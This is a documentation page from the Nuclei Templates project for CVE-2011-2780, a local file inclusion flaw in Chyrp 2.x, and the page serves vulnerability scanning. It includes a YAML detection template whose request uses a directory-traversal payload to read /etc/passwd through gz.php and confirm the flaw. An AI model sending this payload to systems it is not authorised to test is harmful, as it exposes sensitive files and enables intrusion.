Skip to content
Nuclei Templates

Chyrp 2.x - Local File Inclusion

ID: CVE-2011-2780

Severity: medium

Author: daffainfo

Tags: cve,cve2011,lfi,chyrp

Description

Section titled “Description”

A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744.

YAML Source

Section titled “YAML Source”
id: CVE-2011-2780


info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - http://www.justanotherhacker.com/advisories/JAHx113.txt
    - http://www.openwall.com/lists/oss-security/2011/07/13/5
    - http://www.ocert.org/advisories/ocert-2011-001.html
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - http://securityreason.com/securityalert/8312
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-2780
    cwe-id: CWE-22
    epss-score: 0.03327
    epss-percentile: 0.91341
    cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chyrp
    product: chyrp
  tags: cve,cve2011,lfi,chyrp


http:
  - method: GET
    path:
      - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d97fc63e84567b6fda6c04d8e6370d8062f049279e7936a92507c5277b8ddf450220738d0e49760a63bc2cd4376e5ac2e6a6e8b6bd44d39fe4541fac64a49b47233a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-2780.yaml"

View on Github